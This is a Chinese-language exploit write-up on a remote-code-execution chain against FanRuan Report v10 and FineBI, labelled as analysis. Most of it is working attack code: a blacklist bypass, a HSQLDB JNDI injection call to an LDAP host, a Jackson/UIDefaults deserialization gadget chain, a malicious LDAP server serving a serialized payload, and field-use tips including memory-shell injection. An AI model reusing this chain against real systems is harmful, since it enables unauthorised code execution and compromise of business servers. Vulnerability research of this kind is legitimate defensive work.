帆软HSQL二次反序列化利用浅析
字数 1168 2025-08-24 07:48:22
帆软HSQL二次反序列化利用深度分析
漏洞概述
本漏洞影响范围包括2024年5月更新前的帆软Report v10全版本以及FineBi产品。该漏洞利用链通过Druid调用HSQLDB实现RCE(远程代码执行)。在上一大版本中,帆软已封禁主要利用类java.security.SignedObject,使得传统的二次反序列化利用方式失效。
黑名单分析
黑名单文件位置:fine-core-10.0.jar!/com/fr/serialization/blacklist.txt
该黑名单包含了绝大多数公开的反序列化利用类,使得直接通过反序列化绕过黑名单变得困难,需要寻找新的利用方式。
HSQLDB JNDI利用方式
帆软自带HSQLDB驱动,可通过以下方式实现JNDI注入:
Class.forName("com.fr.third.org.hsqldb.jdbc.JDBCDriver");
String dburl = "jdbc:hsqldb:mem";
Connection connection = DriverManager.getConnection(dburl, "sa", "");
connection.prepareStatement("CALL \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:1389/remoteExploit8')").executeQuery();
实战优化建议:
- 使用DruidDataSource封装,扩大利用范围
- 添加
setInitialSize函数减少连接次数 - 处理序列化问题:将无法序列化的元素置空或通过反射设置为空
调用链分析
可用调用链类型
- CommonBean
- Hibernate
- Rome
- Jackson
现状分析:
- 前三个类已被加入黑名单
- Jackson.POJONode在小版本更新后也被封禁
Jackson链替代方案
通过com.fr.json.JSONArray#toString触发:
- 调用
com.fr.json.revise.EmbedJson#encode - 触发
MAPPER.writeValueAsString - 执行封装在ArrayList数组中的templates实现RCE
调用栈:
serializeFields:779, BeanSerializerBase{com.fr.third.fasterxml.jackson.databind.ser.std}
serialize:178, BeanSerializer{com.fr.third.fasterxml.jackson.databind.ser}
[...]
toString:590, JSONArray{com.fr.json}
UIDefaults利用链
通过javax.swing.UIDefaults的私有类TextAndMnemonicHashMap#get方法调用toString:
- 当key对应的value为空时,调用
key.toString() - 继承于HashMap,可通过Hashtable触发
java.util.AbstractMap#equals - 类似于CC7的入口方式
示例代码:
List<Object> list = new ArrayList();
list.add(templates);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);
Class<?> clazz = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor<?> constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
HashMap hashMap1 = (HashMap)constructor.newInstance(null);
hashMap1.put(jsonArray, "yy");
HashMap hashMap2 = (HashMap)constructor.newInstance();
hashMap2.put(jsonArray, "zZ");
Hashtable hashtable = new Hashtable();
hashtable.put(hashMap1, 1);
hashtable.put(hashMap2, 2);
// 置空value以满足条件
hashMap1.put(jsonArray, null);
hashMap2.put(jsonArray, null);
完整利用链构造
Class<? extends DruidDataSource> clazz = druidXADataSource.getClass();
Class<?> superclass = clazz.getSuperclass();
Field transactionHistogram = superclass.getDeclaredField("transactionHistogram");
transactionHistogram.setAccessible(true);
transactionHistogram.set(druidXADataSource, null);
Functions.setField(druidXADataSource, "initedLatch", null);
List<Object> list = new ArrayList();
list.add(druidXADataSource);
JSONArray jsonArray = new JSONArray();
jsonArray.add(list);
Class<?> clazz2 = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor<?> constructor = clazz2.getDeclaredConstructor();
constructor.setAccessible(true);
HashMap o = (HashMap)constructor.newInstance(null);
o.put(jsonArray, "yy");
HashMap o1 = (HashMap)constructor.newInstance(null);
o1.put(jsonArray, "zZ");
Hashtable hashtable = new Hashtable();
hashtable.put(o, 1);
hashtable.put(o1, 1);
o.put(jsonArray, null);
o1.put(jsonArray, null);
JNDI Server端绕过方案
方案一
利用受害者本地CLASSPATH中的类作为恶意Reference Factory工厂类执行命令。
方案二(推荐)
利用LDAP直接返回恶意序列化对象,通过反序列化Gadget执行命令。
示例代码:
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
String url = "http://127.0.0.1:39876/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, IOException, NoSuchFieldException, ClassNotFoundException,
InvocationTargetException, IllegalAccessException, NoSuchMethodException,
InstantiationException, NotFoundException, CannotCompileException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
e.addAttribute("javaClassName", "Exploit");
// 使用CB183利用链(实战根据环境选择)
String payload = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3J...";
e.addAttribute("javaSerializedData", Base64.getDecoder().decode(payload));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
二次反序列化方式(不出网)
通过HSQL的CALL命令调用反序列化函数:
org.terracotta.modules.ehcache.collections.SerializationHelper#deserialize
利用场景:
- 内存马注入
- Tomcat Echo等利用方式
参考资源
- 浅蓝的HSQL利用指南:https://b1ue.cn/archives/458.html
- 相关技术文章:https://xz.aliyun.com/t/14732